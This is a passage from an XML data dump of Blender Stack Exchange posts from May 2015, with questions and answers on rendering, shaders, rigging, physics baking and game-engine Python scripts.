&lt;code&gt;:&lt;/code&gt; to end the &lt;code&gt;if&lt;/code&gt; statement or a boolean operator like &lt;code&gt;and&lt;/code&gt; to join the function result with the previous test condition.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-07T05:19:02.100" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30539" PostTypeId="2" ParentId="30537" CreationDate="2015-05-07T05:23:53.880" Score="5" Body="&lt;p&gt;&lt;strong&gt;Bake&lt;/strong&gt; (in the &lt;em&gt;rigid body cache&lt;/em&gt; panel).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Storing the locations to keyframes on every frame is very inefficient and will make the size of your .blend skyrocket. The cache system used when baking is designed for exactly this purpose, and so is naturally more efficient.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Bake all dynamics&lt;/em&gt; will bake &lt;em&gt;all&lt;/em&gt; physics simulations in the scene. This is useful for taking interactions between simulations into account without having to manually bake all the simulations in the right order. If you only have one simulation, then it's the same as &lt;em&gt;Bake&lt;/em&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2015-05-07T05:23:53.880" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30540" PostTypeId="2" ParentId="30529" CreationDate="2015-05-07T06:00:58.307" Score="1" Body="&lt;p&gt;In this particular case you can set the blend mode to &lt;em&gt;multiply&lt;/em&gt;. Since &lt;code&gt;input_color * 1 = input_color&lt;/code&gt; and &lt;code&gt;input color * 0 = 0&lt;/code&gt;, painting on white (&lt;code&gt;1&lt;/code&gt;) will result in the exact color you are painting with, while painting on black (&lt;code&gt;0&lt;/code&gt;) will result in black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4zLTv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'd recommend painting from the bottom up, using layers and transparency to minimize destructive editing.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2015-06-06T21:43:28.513" LastActivityDate="2015-06-06T21:43:28.513" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30542" PostTypeId="1" AcceptedAnswerId="30545" CreationDate="2015-05-07T07:29:01.503" Score="7" ViewCount="633" Body="&lt;p&gt;I'd like to emphasisze the '3d-ness' of my object, by applying a rectangular mesh to it, as if it were a white object in a black room illuminated only by a (far away) laser that scans horizontal and vertical lines.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I manage to get as far as this picture:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/JZ6W4.png&quot; alt=&quot;screenshot of my progress so far&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, instead of the 'black' lines, i would like them to be solid green. And instead of the green gradients, it would be nice if these would be black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Conceptually, what I'm looking for (I think I am): I'd like to tell the node editor something like:  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;if your input value is smaller then 0.9, output 0. If it is between 0.9 and 1, output 1.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I achieve this? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used the following setup of my nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/jPh9Q.png&quot; alt=&quot;material node setup&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question looks a bit like: &lt;a href=&quot;https://blender.stackexchange.com/questions/6210/how-to-make-a-mesh-look-like-it-was-3d-printed&quot;&gt;How to make a mesh look like it was 3D printed&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13264" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.790" LastActivityDate="2015-09-24T13:30:08.533" Title="Show banding on object" Tags="&lt;materials&gt;&lt;nodes&gt;&lt;mathematics&gt;" AnswerCount="2" CommentCount="4" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30543" PostTypeId="2" ParentId="30522" CreationDate="2015-05-07T07:44:44.067" Score="1" Body="&lt;p&gt;The 'minus' that you refer to was removed in 2.70, you can now do the same thing by right clicking on one of the menus and choosing &lt;code&gt;Header -&amp;gt; Collapse menus&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The tools sidebar has also had tabs added to it, which you can find along the left side. The rigid body tools you are looking for can be found in the &lt;code&gt;Physics&lt;/code&gt; tab.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/U172A.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-07T07:44:44.067" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30544" PostTypeId="2" ParentId="30458" CreationDate="2015-05-07T08:04:54.327" Score="0" Body="&lt;p&gt;The text in the video you refer to is text being added, rather than being faded in, this is often referred to as a typewriter effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ben Simmonds has made his &lt;a href=&quot;https://github.com/BenSimonds/Randomiser&quot; rel=&quot;nofollow&quot;&gt;randomiser addon&lt;/a&gt; available that can easily do the typewriter effect.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://youtu.be/Jg93ksWYKws&quot; rel=&quot;nofollow&quot;&gt;This short video&lt;/a&gt; demonstrates some possibilities of the addon. You can also find a link to a tutorial video on the github page.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-07T08:04:54.327" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30545" PostTypeId="2" ParentId="30542" CreationDate="2015-05-07T08:31:13.887" Score="9" Body="&lt;p&gt;here's a grid OSL shader I wrote a while back.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/*&#xA;  Grid Lines &#xA;  : Author Dealga McArdle, 2013&#xA;  : modified from Sine Stripes by Thomas Dinges&#xA;&#xA;  example shaders:&#xA;  http://www.openshading.com/osl/example-shaders/&#xA;&#xA;*/&#xA;&#xA;#include &quot;stdosl.h&quot;&#xA;&#xA;shader GridShaderUV(&#xA;&#xA;    // input and output parameters&#xA;    vector Vector = P,&#xA;    color GridColor = color(0.8),&#xA;    float Intensity = 1.0,&#xA;    float Distance_U = 0.02,&#xA;    float Distance_V = 0.02,&#xA;    int Stripes_U = 10,&#xA;    int Stripes_V = 10,        &#xA;    output float Fac = 1.0,&#xA;    output color Color = color(0.8),&#xA;    float World_X = 1.0,&#xA;    float World_Y = 1.0&#xA;    )&#xA;{&#xA;&#xA;    // shader code&#xA;    point Pos = Vector;&#xA;    Pos[0] -= World_X;&#xA;    float pattern_col = 0.0;&#xA;&#xA;    for(int i = 0; i &amp;lt; Stripes_U; ++i ) {&#xA;        Pos[0] += Distance_U;&#xA;        pattern_col += abs(Intensity / Pos[0] / 1000.0);&#xA;    }&#xA;&#xA;    Pos = Vector;&#xA;    Pos[1] -= World_Y;    &#xA;    for(int i = 0; i &amp;lt; Stripes_V; ++i ) {&#xA;        Pos[1] += Distance_V;&#xA;        pattern_col += abs(Intensity / Pos[1] / 1000.0);&#xA;    }    &#xA;&#xA;    color C = transformc(&quot;hsv&quot;, GridColor);&#xA;&#xA;    Fac = pattern_col;&#xA;    Color = color(&quot;hsv&quot;, C[0], C[1], (Fac*C[2]));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It generates a grid of black vs some user defined colour. There are many ways to use it, but to get a feel for it I suggest sticking it as a material on a Plane, and see what the sliders do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you add a Suzanne, you could set the Stripes U and V to 1 so there's only one grid line, then animate the Distance X between the extents of your object., and you'll get the laser scan effect. Or animate the WORLD X,Y as they are the center of the shader's coordinate system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7jCmv.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/220/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=220&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Looks like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cWFxa.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a grid osl, therefore capable (and intended) to make grids.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/W5yrY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Alternatively, xyz banding&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;remove the axis you don't need. You can offset the Geometry position by some vector amount if the missing Axis band (0,0,0) bothers you&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yLBYb.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/222/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=222&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:17:19.773" LastActivityDate="2015-05-07T09:55:21.950" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30546" PostTypeId="2" ParentId="30453" CreationDate="2015-05-07T08:54:05.747" Score="2" Body="&lt;p&gt;To track a moving object you need a part of the object that can be found in each following frame. The more unique the section and the more contrast it has to the surroundings, the easier it is to track without error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you are recording the video you can take steps to improve the result. Consider the content of the video and think of something that will contrast with the surroundings. If the actor is wearing a black shirt then a black spot on the hand can disappear in it. If you are going to cover the hand, a black glove with some white spots could help, you could place a couple of big rings on the outer fingers for spots to track, you also have options like wearing a watch or a custom made rig which you may have seen in object tracking tutorial videos. By placing red and green balls extended from the object you get a greater area that improves following movement and rotation being tracked. Also have multiple spots, while one may disappear a second can be used to keep following.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within blender you have some options to help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the track settings for each marker you can enable/disable colour channels which can sometimes get better contrast and less errors.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZgVLO.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If the hands are moving quickly you may also want to increase the search area, this is the area searched to find a match for the marker.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Tbc6I.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enabling this shows the second box around the marker. Dragging the corner with a triangle will scale the area while dragging the square corner allows you to offset the search area if the movement is always in one direction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vG5Vr.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also use the newest version of blender, many improvements have been made since motion tracking was added.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-07T08:54:05.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30547" PostTypeId="2" ParentId="30524" CreationDate="2015-05-07T09:17:14.850" Score="1" Body="&lt;p&gt;To fade from one colour to another you add keyframes to the factor of a mix node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bEkvx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can also get more control by using an animation to control which colour is used. &lt;a href=&quot;http://www.blender.org/manual/physics/dynamic_paint/index.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Dynamic paint&lt;/a&gt; could be used to create the image sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uuaW8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2015-05-07T09:17:14.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30548" PostTypeId="2" ParentId="30542" CreationDate="2015-05-07T09:17:25.650" Score="6" Body="&lt;p&gt;This is how it looks after using @gandalf3 suggestion: (bricks)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HJS1G.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's a screenshot using @zeffii answer, which I marked as &quot;THE&quot; answer, because it elaborated on my own, initial approach. I include it in my answer, because I changed some settings in the nodes that might be of interest to others:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lWQub.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;turn 'less than' into 'Greater than'. &lt;/li&gt;&#xA;&lt;li&gt;Add the X, Y and Z into one value and put this into a CombineRGB --&gt; only green lines &lt;/li&gt;&#xA;&lt;li&gt;There are two 'value' nodes in the original answer. I combined the into one,&#xA;where I calculate the value of the second from the first one.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13264" LastEditorUserId="47" LastEditDate="2015-09-24T13:30:08.533" LastActivityDate="2015-09-24T13:30:08.533" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30549" PostTypeId="1" AcceptedAnswerId="30551" CreationDate="2015-05-07T09:20:32.477" Score="2" ViewCount="713" Body="&lt;p&gt;this is my scritp that spawns random objects and I want to add a counter to it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def spawnObjects():&#xA;&#xA;    scene.addObject(randomObject1, &quot;empty1&quot;, 90)&#xA;    scene.addObject(randomObject2, &quot;empty2&quot;, 90)&#xA;&#xA;spawnObjects()&#xA;&#xA;print (&quot;Spawned Objects are:&quot;, randomObject1, randomObject2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So the script adds the objects and prints:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Spawned Objects are:, NameObject1, NameObject2&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far so good. But how can I get python to print:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spawned Objects &lt;strong&gt;0001 are&lt;/strong&gt;:, NameObject1, NameObject2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spawned Objects &lt;strong&gt;0002 are&lt;/strong&gt;:, NameObject1, NameObject2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spawned Objects &lt;strong&gt;0003 are&lt;/strong&gt;:, NameObject1, NameObject2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Spawned Objects &lt;strong&gt;0004 are&lt;/strong&gt;:, NameObject1, NameObject2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Till infinity?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I suppose one needs a counter using &quot;while&quot; loop but I'm still not able to accomplish it the way I described it here.&#xA;Thanks for any help!&lt;/p&gt;&#xA;" OwnerUserId="9529" LastActivityDate="2015-05-07T10:21:30.077" Title="Blender BGE: set up a counter (python)" Tags="&lt;python&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30550" PostTypeId="2" ParentId="30412" CreationDate="2015-05-07T09:48:58.270" Score="2" Body="&lt;p&gt;There needs to be a bone for every segment like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VfxvQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bones are connected into single chain and using inherit rotation (but this is irrelevant because it is overwritten with constraints)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In edit mode the bones were aligned with &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt; &gt; Cursor with cursor being in the center of mass of the bone chain.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then the red mesh (the reference hair strand) has a vertex group for each vertex on the bone chain containing that single vertex:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/bZKLo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Vertex0 is at the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is setup of every single bone exept the root bone. The root has copy location from Vertex0 as a first extra constraint in the stack:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/gYLwF.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bones will not rotate until you simulate the red mesh now. They won't follow the mesh perfectly (that's because vertex normals and how they work) but they will follow closely. To make the chain follow perfectly the bones would have to target polygons instead of vertices (it's not supported, they can target only vertices - with vertex groups).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a blend with the beginning of hair rigged:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/221/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=221&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7777" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-07T10:42:49.343" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30551" PostTypeId="2" ParentId="30549" CreationDate="2015-05-07T10:21:30.077" Score="3" Body="&lt;p&gt;Add integer property to the object running this script and keep incrementing this property :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cont = bge.logic.getCurrentController()&#xA;own = cont.owner&#xA;scene = bge.logic.getCurrentScene()&#xA;&#xA;def spawnObjects():&#xA;&#xA;    scene.addObject(randomObject1, &quot;empty1&quot;, 90)&#xA;    scene.addObject(randomObject2, &quot;empty2&quot;, 90)&#xA;&#xA;spawnObjects()&#xA;own['counter'] += 1 # this is the property that keeps count&#xA;print (&quot;Spawned Objects %d are:&quot;%own['counter'], randomObject1, randomObject2)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can add a loop to spawn multiple objects at the same time,&#xA;you don't use a local variable ( defined inside the script )  because it get reset every execution of the script so you'll lose the count ,unless that is what you want.&lt;/p&gt;&#xA;" OwnerUserId="5113" LastActivityDate="2015-05-07T10:21:30.077" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30552" PostTypeId="2" ParentId="30519" CreationDate="2015-05-07T12:41:16.250" Score="3" Body="&lt;p&gt;You can use object index to identify to which object does the pixel belongs to, for this you have to :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;assign unique object index to each object&lt;/li&gt;&#xA;&lt;li&gt;enable the object index pass in the render layer&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;after that you can output this read the corresponding object for each point from this pass&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;in the following script we assign unique object index for each object and store this index and name in a dictionary :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;&#xA;index = 0&#xA;obj_index = dict()&#xA;&#xA;for obj in bpy.context.scene.objects :&#xA;    if obj.type == 'MESH' :&#xA;        index += 1&#xA;        obj.pass_index = index&#xA;        obj_index[obj.name] = index&#xA;&#xA;print(obj_index)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;this part is for extracting the object index pass from the node viewer image :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# division by 4 since we have RGBA&#xA;# object index is contained in any of R, G, B values&#xA;l = len(bpy.data.images['Viewer Node'].pixels)//4&#xA;table = [0 for x in range(l)] &#xA;pixels = bpy.data.images['Viewer Node'].pixels&#xA;for i in range(l):&#xA;    table[i] = int(pixels[i*4])&#xA;&#xA;print(table[:])&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to make this work you have to setup the composition nodes as this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/GilzU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="5113" LastEditorUserId="14200" LastEditDate="2015-05-08T20:15:18.230" LastActivityDate="2015-05-08T20:15:18.230" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="30553" PostTypeId="1" CreationDate="2015-05-07T14:13:12.127" Score="-1" ViewCount="115" Body="&lt;p&gt;I have a droid model as you can see in the image. I have parented the Droid to the bones but for some reason when I move the bones to animate the droid it stretches the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/lRhu3.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lRhu3.jpg&quot; alt=&quot;model showing the incorrect deformation&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14210" LastEditorUserId="2217" LastEditDate="2015-05-07T14:43:21.143" LastActivityDate="2015-05-08T07:42:12.600" Title="Armature causing improper deformation of model" Tags="&lt;rigging&gt;&lt;armature&gt;&lt;bones&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30554" PostTypeId="1" AcceptedAnswerId="30559" CreationDate="2015-05-07T14:13:59.460" Score="2" ViewCount="2623" Body="&lt;p&gt;I was considering buying AfterEffects before I realised that Blender also does animations, but before I start learning (and please excuse my ignorance) can I create graphics and animations in this 80s wireframe style? Here's a few examples of what I'd like to achieve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rURNG.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/uitoE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/Kc2FE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible with Blender? And if so can anyone point me to some specific tutorials? &lt;/p&gt;&#xA;" OwnerUserId="14209" LastActivityDate="2018-09-14T22:26:58.813" Title="Can Blender be used to render 80s style wireframe graphics and animations?" Tags="&lt;rendering&gt;&lt;animation&gt;" AnswerCount="1" CommentCount="4" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30555" PostTypeId="1" CreationDate="2015-05-07T14:14:32.680" Score="6" ViewCount="3353" Body="&lt;p&gt;I have a camera with a fisheye lens. I need to simulate it on blender to get the same images&lt;/p&gt;&#xA;&#xA;&lt;p&gt;camera properties:&#xA;sensor size: 2/3&quot;.&#xA;image resolution: 1360*1024 &#xA;fisheye focal: 1.8mm&#xA;H*V (FOV): 185*185 (with 2/3&quot;).&#xA;here is the link for the fisheye lens &lt;a href=&quot;http://view.samurajdata.se/psview.php?id=e032901e&amp;amp;page=1&quot; rel=&quot;nofollow&quot;&gt;fisheyelens&lt;/a&gt; and the camera &lt;a href=&quot;http://1stvision.com/cameras/AVT/Prosilica-GC1380-GC1380C.html&quot; rel=&quot;nofollow&quot;&gt;GC1380&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My problems is how to fix the V field of view ? I have chose a fisheye equisolid and I set a focal length as 1.8 and the FOV =185 as H filed of view. But the horizontal field of view is determined by the W/H image resolution which different to 1 in  the real case. Any help?&lt;/p&gt;&#xA;" OwnerUserId="11289" LastEditorUserId="11289" LastEditDate="2015-05-09T13:11:26.280" LastActivityDate="2015-05-13T05:04:16.790" Title="How to simulate a real camera with blender" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;camera&gt;&lt;units&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30556" PostTypeId="1" CreationDate="2015-05-07T14:15:12.270" Score="1" ViewCount="471" Body="&lt;p&gt;Im trying to do some simple camera mapping using an equirectangular env.map that I have created from my real camera.&#xA;This I am trying to project onto my scene geometry.&#xA;This used to be done with sticky coordinates and there is also the UV Projection modifier.&#xA;Unfortunately I need it to work with cycles.&#xA;I am trying to use UV mapping, but am not sure whether to use a normal image texture or an env texture in my material nodes. The question is also what kind of texture coordinates I should use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thx in advance, R&lt;/p&gt;&#xA;" OwnerUserId="121" LastActivityDate="2015-05-07T14:15:12.270" Title="Simple Camera Mapping in Cycles" Tags="&lt;cycles-render-engine&gt;&lt;camera&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30557" PostTypeId="1" AcceptedAnswerId="30633" CreationDate="2015-05-07T14:50:07.547" Score="2" ViewCount="223" Body="&lt;p&gt;I created the sea and floating object - the ship's hull. The ship floats in the sea, using the method from this tutorial - &lt;a href=&quot;https://www.youtube.com/watch?v=11F1NRpqrzY&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=11F1NRpqrzY&lt;/a&gt; (dinamic paint).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I modeled the mast with sails, flags and ropes in another scene, and also modeled there a new hull, slightly modified, but almost the same. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had to attach the structure (the mast, etc.) to the floating object (old hull of the ship), so that the structure repeats it movement.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used parenting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I transferred this structure with the mast and etc. to the first scene and parent it to the old hull of the ship. Then I moved it so that the new ship hull was in the same place that the old hull. Then I made the old hull invisible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I noticed that the sail is shifting towards during the animation, so I delete the old Parenting of the sail and Parent sail to the mast.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything was ok. &lt;a href=&quot;https://www.youtube.com/watch?v=65cdCvsL7pU&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=65cdCvsL7pU&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I export MultiLayer EXR, in UV pass the ship's hull and sail are black, looks like they are not used in the creation of UV pass. &#xA;&lt;img src=&quot;https://i.stack.imgur.com/3nKxU.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/z8M0e.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;Why is this happening and how to fix it?&#xA;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13487" LastEditorUserId="13487" LastEditDate="2015-05-07T15:42:07.997" LastActivityDate="2015-05-08T21:56:19.407" Title="Some objects are not rendered in UV pass" Tags="&lt;cycles-render-engine&gt;&lt;rendering&gt;&lt;ocean-simulation&gt;&lt;parent&gt;&lt;render-passes&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30558" PostTypeId="1" CreationDate="2015-05-07T14:51:18.960" Score="0" ViewCount="83" Body="&lt;p&gt;The color I gave to my Headset &#xA;wich I used on my rig, colored white after rendering the image, how do I solve this??? &#xA;(I unwrapped the picture, so that is not the problem)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Nx3Xj.png&quot; alt=&quot;In 3D view:&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HuoSg.png&quot; alt=&quot;In rendered version:&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14213" LastEditorUserId="14213" LastEditDate="2015-05-07T17:23:43.100" LastActivityDate="2015-05-07T17:23:43.100" Title="Disappearing textures, how do I solve it?" Tags="&lt;rendering&gt;&lt;mesh&gt;&lt;image&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
